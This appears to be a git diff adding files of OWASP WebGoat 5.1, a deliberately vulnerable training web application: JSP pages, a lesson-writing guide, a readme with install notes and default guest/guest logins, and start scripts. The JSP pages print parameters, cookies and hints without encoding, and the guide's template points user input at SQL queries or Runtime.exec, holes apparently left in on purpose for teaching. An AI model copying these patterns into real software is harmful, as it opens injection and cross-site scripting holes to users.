a/main/project/WebContent/main.jsp b/main/project/WebContent/main.jsp new file mode 100644 index 000000000..43a640d58 --- /dev/null +++ b/main/project/WebContent/main.jsp @@ -0,0 +1,246 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.Category, org.owasp.webgoat.lessons.AbstractLesson, java.util.*" + errorPage="" %> +<% +Course course = ((Course)session.getAttribute("course")); +WebSession webSession = ((WebSession)session.getAttribute("websession")); +AbstractLesson currentLesson = webSession.getCurrentLesson(); +%> + + +<%@page import="org.owasp.webgoat.lessons.RandomLessonAdapter"%> + + + +<%=currentLesson.getTitle()%> + + + + + + + + + + +<% +final String menuPrefix = WebSession.MENU; +final String submenuPrefix = "submenu"; +final String mbutPrefix = "mbut"; +String printHint = ""; +String printParameters = ""; +String printCookies = ""; +String lessonComplete = ""; + +List categories = course.getCategories(); + +StringBuffer buildList = new StringBuffer(); + + Iterator iter1 = categories.iterator(); + while(iter1.hasNext()) + { + Category category = (Category)iter1.next(); + + buildList.append("'"); + buildList.append(menuPrefix); + buildList.append(category.getRanking()); + buildList.append("','"); + buildList.append(submenuPrefix); + buildList.append(category.getRanking()); + buildList.append("','"); + buildList.append(mbutPrefix); + buildList.append(category.getRanking()); + buildList.append("'"); + + if (iter1.hasNext()) + buildList.append(","); + }%> + + +
+ <% + int topCord = 140; + int zIndex = 105; + + Iterator iter2 = categories.iterator(); + while(iter2.hasNext()) + { + Category category = (Category)iter2.next(); + %> + + <% + topCord=topCord + 30; + zIndex=zIndex + 1; + } + + int topSubMenu = 72; + + Iterator iter3 = categories.iterator(); + while(iter3.hasNext()) + { + Category category = (Category)iter3.next(); + List lessons = webSession.getLessons(category); + Iterator iter4 = lessons.iterator(); + %> + <% + }%> +
+
+
LogOut Help
+
+
<%=currentLesson.getTitle()%>
+
+ <% + if (webSession.isAuthorizedInLesson(webSession.getRole(), WebSession.SHOWHINTS)) + { + %> + + Previous Hint + + + Hints + + + Next Hint + + <%}%> + + Show Params + + + Show Cookies + + <% + if (webSession.isAuthorizedInLesson(webSession.getRole(), WebSession.SHOWSOURCE)) + { + %> + + Show Java + + + Show Solution + + + Lesson Plans + + <%}%> + +
+
+ +
+ <% + if (currentLesson != null) + { + %> + + <% + } + + if (webSession.getHint() != null) + { + printHint = "
" + webSession.getHint() + "

"; + out.println(printHint); + } + + if (webSession.getParams() != null) + { + Iterator i = webSession.getParams().iterator(); + while (i.hasNext()) + { + Parameter p = (Parameter) i.next(); + printParameters = "
" + p.getName() + "=" + p.getValue() + "

"; + out.println(printParameters); + } + } + + if (webSession.getCookies() != null) + { + Iterator i = webSession.getCookies().iterator(); + while (i.hasNext()) + { + Cookie c = (Cookie) i.next(); + printCookies = "
" + c.getName() + " \"\" " + c.getValue() + "

"; + out.println(printCookies); + } + }%> + +
<%=webSession.getInstructions()%>
+
<%=webSession.getMessage()%>
+ + <% + if (currentLesson.getTemplatePage(webSession) != null) + { + //System.out.println("Main.jsp - current lesson: " + currentLesson.getName() ); + //System.out.println(" - template Page: " + currentLesson.getTemplatePage(webSession)); + %> + + <% + } + else + { + %> +
<%=currentLesson.getContent()%>
+ <% + } + %> +
+ <% out.println(currentLesson.getCredits());%> +
+
+
+ +
+
OWASP Foundation | Project WebGoat
+
+
+ + diff --git a/main/project/WebContent/sideWindow.jsp b/main/project/WebContent/sideWindow.jsp new file mode 100644 index 000000000..b9766a0a6 --- /dev/null +++ b/main/project/WebContent/sideWindow.jsp @@ -0,0 +1,28 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.WebSession" + errorPage="" %> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +%> + + + + + +Untitled Document + + + +
+ <% + String source = webSession.getSource(); + if (source != null) + { + String printSource = "
" + source + "

"; + out.println(printSource); + } + %> +
+ + diff --git a/main/project/WebContent/users/ReadMe.txt b/main/project/WebContent/users/ReadMe.txt new file mode 100644 index 000000000..39f82909b --- /dev/null +++ b/main/project/WebContent/users/ReadMe.txt @@ -0,0 +1 @@ +User-specific lesson state is stored under this directory. \ No newline at end of file diff --git a/main/project/WebContent/webgoat.jsp b/main/project/WebContent/webgoat.jsp new file mode 100644 index 000000000..eece7b18d --- /dev/null +++ b/main/project/WebContent/webgoat.jsp @@ -0,0 +1,124 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + errorPage=""%> +<%@page import="org.owasp.webgoat.session.WebSession"%> +<% +WebSession webSession = ((WebSession) session.getAttribute("websession")); +%> + + + + + +WebGoat V5.1 + + + + + +
+
+
+

Thank you for using WebGoat!

+

This program is a demonstration of common web application flaws. +The exercises are intended to provide hands on experience with +application penetration testing techniques.

The WebGoat project is lead +by Bruce Mayhew. Please send all comments to Bruce at <%=webSession.getWebgoatContext().getFeedbackAddress()%>.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
OWASP Foundation
+
+
Aspect Security
+
+

+ WebGoat Design Team
+
+

+ Lesson Contributers
+
+
Bruce Mayhew
+
David Anderson
+
Rogan Dawes
+
Laurence Casey (Graphics)
+
+
Aspect Security
+
Sherif Koussa
+
Romain Brechet
+
+ +
+
Special Thanks + for V5.1
+
+
Documentation + Contributers
+
+
OWASP Spring of Code
+
Erwin Geirnaert
+ (http://www.zionsecurity.com)
+
+
+
Sherif Koussa
+ (http://www.macadamian.com)
+
+
Erwin Geirnaert
+ (http://www.zionsecurity.com/)
+
+
To all who have sent comments
+
+
+
+
+
+
 
+
+
+
+
 
+
 
+
 
+
WARNING
+While running this program, your machine is extremely vulnerable to +attack. You should disconnect from the network while using this program. +
+
+This program is for educational purposes only. Use of these techniques +without permission could lead to job termination, financial liability, +and/or criminal penalties.
+
+ + diff --git a/main/project/WebContent/webgoat_challenge.jsp b/main/project/WebContent/webgoat_challenge.jsp new file mode 100644 index 000000000..eece7b18d --- /dev/null +++ b/main/project/WebContent/webgoat_challenge.jsp @@ -0,0 +1,124 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + errorPage=""%> +<%@page import="org.owasp.webgoat.session.WebSession"%> +<% +WebSession webSession = ((WebSession) session.getAttribute("websession")); +%> + + + + + +WebGoat V5.1 + + + + + +
+
+
+

Thank you for using WebGoat!

+

This program is a demonstration of common web application flaws. +The exercises are intended to provide hands on experience with +application penetration testing techniques.

The WebGoat project is lead +by Bruce Mayhew. Please send all comments to Bruce at <%=webSession.getWebgoatContext().getFeedbackAddress()%>.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
OWASP Foundation
+
+
Aspect Security
+
+

+ WebGoat Design Team
+
+

+ Lesson Contributers
+
+
Bruce Mayhew
+
David Anderson
+
Rogan Dawes
+
Laurence Casey (Graphics)
+
+
Aspect Security
+
Sherif Koussa
+
Romain Brechet
+
+ +
+
Special Thanks + for V5.1
+
+
Documentation + Contributers
+
+
OWASP Spring of Code
+
Erwin Geirnaert
+ (http://www.zionsecurity.com)
+
+
+
Sherif Koussa
+ (http://www.macadamian.com)
+
+
Erwin Geirnaert
+ (http://www.zionsecurity.com/)
+
+
To all who have sent comments
+
+
+
+
+
+
 
+
+
+
+
 
+
 
+
 
+
WARNING
+While running this program, your machine is extremely vulnerable to +attack. You should disconnect from the network while using this program. +
+
+This program is for educational purposes only. Use of these techniques +without permission could lead to job termination, financial liability, +and/or criminal penalties.
+
+ + diff --git a/main/project/build.xml b/main/project/build.xml new file mode 100644 index 000000000..4c7de512b --- /dev/null +++ b/main/project/build.xml @@ -0,0 +1,312 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/main/project/doc/New Lesson Instructions.txt b/main/project/doc/New Lesson Instructions.txt new file mode 100644 index 000000000..1f8cd5246 --- /dev/null +++ b/main/project/doc/New Lesson Instructions.txt @@ -0,0 +1,189 @@ +Detailed instructions for adding a lesson + +All you have to do is implement the abstract methods in LessonAdapter. +Follow the outline below. + +WebGoat uses the Element Construction Set from the Jakarta project. +You should read up on the API for ECS at +http://jakarta.apache.org/site/downloads/downloads_ecs.cgi. +In addition you can look at the other lessons for examples of how to use the ECS. + + + +Step 1: Set up the framework + +import java.util.*; +import org.apache.ecs.*; +import org.apache.ecs.html.*; + +// Add copyright text - use text from another lesson + +public class NewLesson extends LessonAdapter +{ + + protected Element createContent(WebSession s) + { + return( new StringElement( "Hello World" ) ); + } + + public String getCategory() + { + } + + protected List getHints() + { + } + + protected String getInstructions() + { + } + + protected Element getMenuItem() + { + } + + protected Integer getRanking() + { + } + + public String getTitle() + { + } +} + + + +Step 2: Implement createContent + +Creating the content for a lesson is fairly simple. There are two main parts: + (1) handling the input from the user's last request, + (2) generating the next screen for the user. +This all happens within the createContent method. Remember that each lesson +should be handled on a single page, so you'll need to design your lesson to +work that way. A good generic pattern for the createContent method is shown +below: + +// define a constant for the field name +private static final String INPUT = "input"; + +protected Element createContent(WebSession s) +{ + ElementContainer ec = new ElementContainer(); + try + { + // get some input from the user -- see ParameterParser + // for details + String userInput = s.getParser().getStringParameter(INPUT, ""); + + // do something with the input + // -- SQL query? + // -- Runtime.exec? + // -- Some other dangerous thing + + // generate some output -- a string and an input field + ec.addElement(new StringElement("Enter a string: ")); + ec.addElement( new Input(Input.TEXT, INPUT, userInput) ); + + // Tell the lesson tracker the lesson has completed. + // This should occur when the user has 'hacked' the lesson. + makeSuccess(s); + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); +} + +ECS is quite powerful -- see the Encoding lesson for an example of how +to use it to create a table with rows and rows of output. + + +Step 3: Implement the other methods + +The other methods in the LessonAdapter class help the lesson plug into +the overall WebGoat framework. They are simple and should only take a +few minutes to implement. + +public String getCategory() +{ + // The default category is "General" Only override this + // method if you wish to create a new category or if you + // wish this lesson to reside within a category other the + // "General" + + return( "NewCategory" ); // or use an existing category +} + +protected List getHints() +{ + // Hints will be returned to the user in the order they + // appear below. The user must click on the "next hint" + // button before the hint will be displayed. + + List hints = new ArrayList(); + hints.add("A general hint to put users on the right track"); + hints.add("A hint that gives away a little piece of the problem"); + hints.add("A hint that basically gives the answer"); + return hints; +} + +protected String getInstructions() +{ + // Instructions will rendered as html and will appear below + // the area and above the actual lesson area. + // Instructions should provide the user with the general setup + // and goal of the lesson. + + return("The text that goes at the top of the page"); +} + +protected Element getMenuItem() +{ + // This is the text of the link that will appear on + // the left hand menus under the appropriate category. + // Their is a limited amount of horizontal space in + // this area before wrapping will occur. + + return( "MyLesson" ); +} + +protected Integer getRanking() +{ + // The ranking denotes the order in which the menu item + // will appear in menu list for each category. The lowest + // number will appear as the first lesson. + + return new Integer(10); +} + +public String getTitle() +{ + // The title of the lesson. This will appear above the + // control area at the top of the page. This field will + // be rendered as html. + + return ("My Lesson's Short Title"); +} + + +Step 4: Build and test + +Once you've implemented your new lesson, you can test the lesson by +starting the Tomcat server (within Eclipse). See the +"HOW TO create the WebGoat workspace.txt" document in the WebGoat root. + + + + +Step 5: Give back to the community + +If you've come up with a lesson that you think helps to teach people about +web application security, please contribute it by sending it to the people +who maintain the WebGoat application. + +Thanks! + +The WebGoat Team. diff --git a/main/project/doc/Solving the WebGoat Labs.doc b/main/project/doc/Solving the WebGoat Labs.doc new file mode 100644 index 000000000..a1f89160c Binary files /dev/null and b/main/project/doc/Solving the WebGoat Labs.doc differ diff --git a/main/project/doc/WebGoat_Users_Guide.doc b/main/project/doc/WebGoat_Users_Guide.doc new file mode 100644 index 000000000..a755343bf Binary files /dev/null and b/main/project/doc/WebGoat_Users_Guide.doc differ diff --git a/main/readme.txt b/main/readme.txt new file mode 100644 index 000000000..796fbe0b6 --- /dev/null +++ b/main/readme.txt @@ -0,0 +1,202 @@ +********** WebGoat 5.1 +********** Jan/08/2008 +********** +** +** Source Code: http://code.google.com/p/webgoat +** Download: http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=61824 +** Download: http://code.google.com/p/webgoat/downloads/list (Does not have Windows release) +** User Guide: http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents +** Home Page: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project +** Contact Info: webgoat@owasp.org +** +********** + +Thank you for downloading WebGoat! + +This program is a demonstration of common server-side +application flaws. The exercises are intended to +be used by people to learn about application penetration +testing techniques. + + +WARNING 1: While running this program your machine will be +extremely vulnerable to attack. You should to disconnect +from the Internet while using this program. + +WARNING 2: This program is for educational purposes only. If you +attempt these techniques without authorization, you are very +likely to get caught. If you are caught engaging in unauthorized +hacking, most companies will fire you. Claiming that you were +doing security research will not work as that is the first thing +that all hackers claim. + +You can find more information about WebGoat at: +http://code.google.com/p/webgoat + +CREDITS (Latest release) + + Bruce Mayhew (http://www.ouncelabs.com) + Rogan Dawes (http://dawes.za.net/rogan) + Eric Sheridan (http://www.aspectsecurity.com) + Erwin Geirnaert (http://www.zionsecurity.com) + The many people who have sent comments and suggestions... + + +WHAT'S NEW + + * WebGoat is now current at Google code. (http://code.google.com/p/webgoat) + * Database Lessons + * XSS Phishing + * Lesson Solutions + * Many upgrades and minor fixes + + +RELEASES + +WebGoat-OWASP_Standard-x.x.zip + - Unzip and run version + - Includes java and tomcat + +WebGoat-OWASP_Developer-x.x.zip + - Includes standard version + - Developer version has eclipse and eclipse workspace + + + +INSTALLATION + +Windows - (Download, Extract, Double Click Release) + +1. unzip the WebGoat-OWASP_Standard-x.x.zip to your working environment +2. To start Tomcat, browse to the WebGoat directory unzipped above and + double click "webgoat.bat" +3. start your browser and browse to... (Notice the capital 'W' and 'G') + http://localhost/WebGoat/attack +4. login in as: user = guest, password = guest +5. To stop WebGoat, simply close the window you launched it from. + +Note: When intercepting requests via a proxy with IE7. You must add a '.' to the + end of localhost. This is only valid for IE7: + http://localhost./WebGoat/attack or + http://localhost.8080/WebGoat/attack if using a non standard port + all other browsers should use: + http://localhost/WebGoat/attack + + + +Linux + +1. Download and install Java JDK 1.5 from Sun (http://java.sun.com) +2. Unzip the WebGoat-OWASP_Standard-x.x.zip to your working directory +3. Set JAVA_HOME to point to your JDK1.5 installation +4. chmod +x webgoat.sh +5. Since the latest version runs on a privileged port, you will need to start/stop WebGoat as root. + sudo sh webgoat.sh start + sudo sh webgoat.sh stop +6. start your browser and browse to... (Notice the capital 'W' and 'G') + http://localhost/WebGoat/attack +7. login in as: user = guest, password = guest + + +OS X (Tiger 10.4+) + +1. Unzip the WebGoat-OWASP_Standard-x.x.zip to your working directory +2. chmod +x webgoat.sh +3. Since the latest version runs on a privileged port, you will need to start/stop WebGoat as root. + sudo sh webgoat.sh start + sudo sh webgoat.sh stop +4. start your browser and browse to... (Notice the capital 'W' and 'G') + http://localhost/WebGoat/attack +5. login in as: user = guest, password = guest + + +DEVELOPER INSTALLATION + +1. Download WebGoat-OWASP_Developer-x.x.zip source distribution +2. Unzip the WebGoat-OWASP_Developer-x.x.zip to your working directory +3. Follow the directions in HOW TO create the WebGoat workspace.txt + + +HOW WEBGOAT WORKS + +TROUBLESHOOTING/FAQs: +Q. I put the OWASP downloaded war file in my tomcat/webapps directory and the + http://localhost/WebGoat/attack url doesn't work. +A. Rename the downloaded war file to WebGoat.war. Delete the existing tomcat/webapps/*WebGoat* directories. + + +Q. I dropped the WebGoat war file into my non-Tomcat application server and WebGoat doesn't seem to work. +A. WebGoat uses some of the internal Tomcat classes for user management. Unfortunately, this makes + WebGoat dependent on Tomcat. Hopefully, this will be addressed in a future release. + + +Q. Having problems with the ant file working properly. How do I configure my ant environment + so that I don't receive errors such as: + - "Specified VM install not found: type Standard VM, name j2sdk1.4.2.06" +A. This usually indicates an Eclipse environment setting misconfiguration. Here are some possible solutions: + i. Ant Runtime Configuration + - Window > Preferences + - Ant > Runtime + - Under Classpath Tab check the "Global Entries" + - Remove any jre "tools.jar" references + - Add the "\tomcat\servers\lib\catalina-ant.jar" file. + - Click Apply, Click OK. + - Return to the Ant View and refresh. + + +Q. When I start up WebGoat it dies very quickly. +A. WebGoat is a Java application that runs on Tomcat using port 80. If you have another + application listening on port 80 (like IIS), you will need to change WebGoat's port + (to 8080 or something) in the tomcat_root/conf/server.xml file. + + +Q. When I deploy the war file to the Tomcat wepapps directory, I can't login to WebGoat +A. You need to add the webgoat users and roles to tomcat/conf/tomcat-users.xml + + + + + + + + + + + + + + +Q. How do I get configure WebGoat to run on an IP other then localhost? +A. In the webgoat.bat file, in the root directory, the following lines + are executed: + + delete .\tomcat\conf\server.xml + copy .\tomcat\conf\server_80.xml .\tomcat\conf\server.xml + + This will overwrite any changes you may have made to server.xml + file that addressed this issue.... + + By changing the server_80.xml file (or by removing the above code + from webgoat.bat, after making your changes) you can reflect your + changes to the Tomcat configuration. You will need to change the IP + address in the server_80.xml file to be the IP of the host machine. + + The following connectors should be modified + + + &1 | grep 'version \"1.5' >/dev/null + if [ $? -ne 0 ]; then + echo "The JVM in \$JAVA_HOME isn't version 1.5." + exit 1 + fi + else + echo "Please set JAVA_HOME to a Java 1.5 JDK install" + exit 1 + fi +} + +is_java_1dot5 + +fi + +case "$1" in + start80) + cp -f $CATALINA_HOME/conf/server_80.xml $CATALINA_HOME/conf/server.xml + $CATALINA_HOME/bin/startup.sh + printf "\n Open http://127.0.0.1/WebGoat/attack" + printf "\n Username: guest" + printf "\n Password: guest" + printf "\n Or try http://guest:guest@127.0.0.1/WebGoat/attack \n\n\r" + sleep 2 + tail -f $CATALINA_HOME/logs/catalina.out + ;; + start8080) + cp -f $CATALINA_HOME/conf/server_8080.xml $CATALINA_HOME/conf/server.xml + $CATALINA_HOME/bin/startup.sh + printf "\n Open http://127.0.0.1:8080/WebGoat/attack" + printf "\n Username: guest" + printf "\n Password: guest" + printf "\n Or try http://guest:guest@127.0.0.1:8080/WebGoat/attack \n\n\r" + sleep 2 + tail -f $CATALINA_HOME/logs/catalina.out + ;; + stop) + $CATALINA_HOME/bin/shutdown.sh + ;; + *) + echo $"Usage: $prog {start8080|start80|stop}" + exit 1 + ;; +esac diff --git a/main/webgoat_8080.bat b/main/webgoat_8080.bat new file mode 100644 index 000000000..a7f9dbb3f --- /dev/null +++ b/main/webgoat_8080.bat @@ -0,0 +1,25 @@ +@echo on + + +@REM Clear the lib env var as it can hose tomcat +SET lib= + +@REM Make sure the webgoat DB is writable +attrib -R .\tomcat\webapps\WebGoat\database\*.* + +@REM Set env vars for tomcat and java, use PWD as some machines don't have +@REM \. on their path +set PWD=%cd% +set CATALINA_HOME=%PWD%\tomcat +set JAVA_HOME=%PWD%\java + +delete .\tomcat\conf\server.xml +copy .\tomcat\conf\server_8080.xml .\tomcat\conf\server.xml + +@REM Run tomcat: must have quotes incase var has spaces in it +call "%CATALINA_HOME%\bin\startup.bat" start + +echo +echo If the Tomcat DOS shell quit immediately, it is likely that +echo there is another service listening on port 80. +echo diff --git a/main/webscarab.bat b/main/webscarab.bat new file mode 100644 index 000000000..9db235089 --- /dev/null +++ b/main/webscarab.bat @@ -0,0 +1,7 @@ +@echo off + + +@REM Run webscarab +@REM - Assumes webscarab.properties file is in webscarab directory +cd webscarab +..\java\bin\javaw -Duser.home=.\ -jar webscarab.jar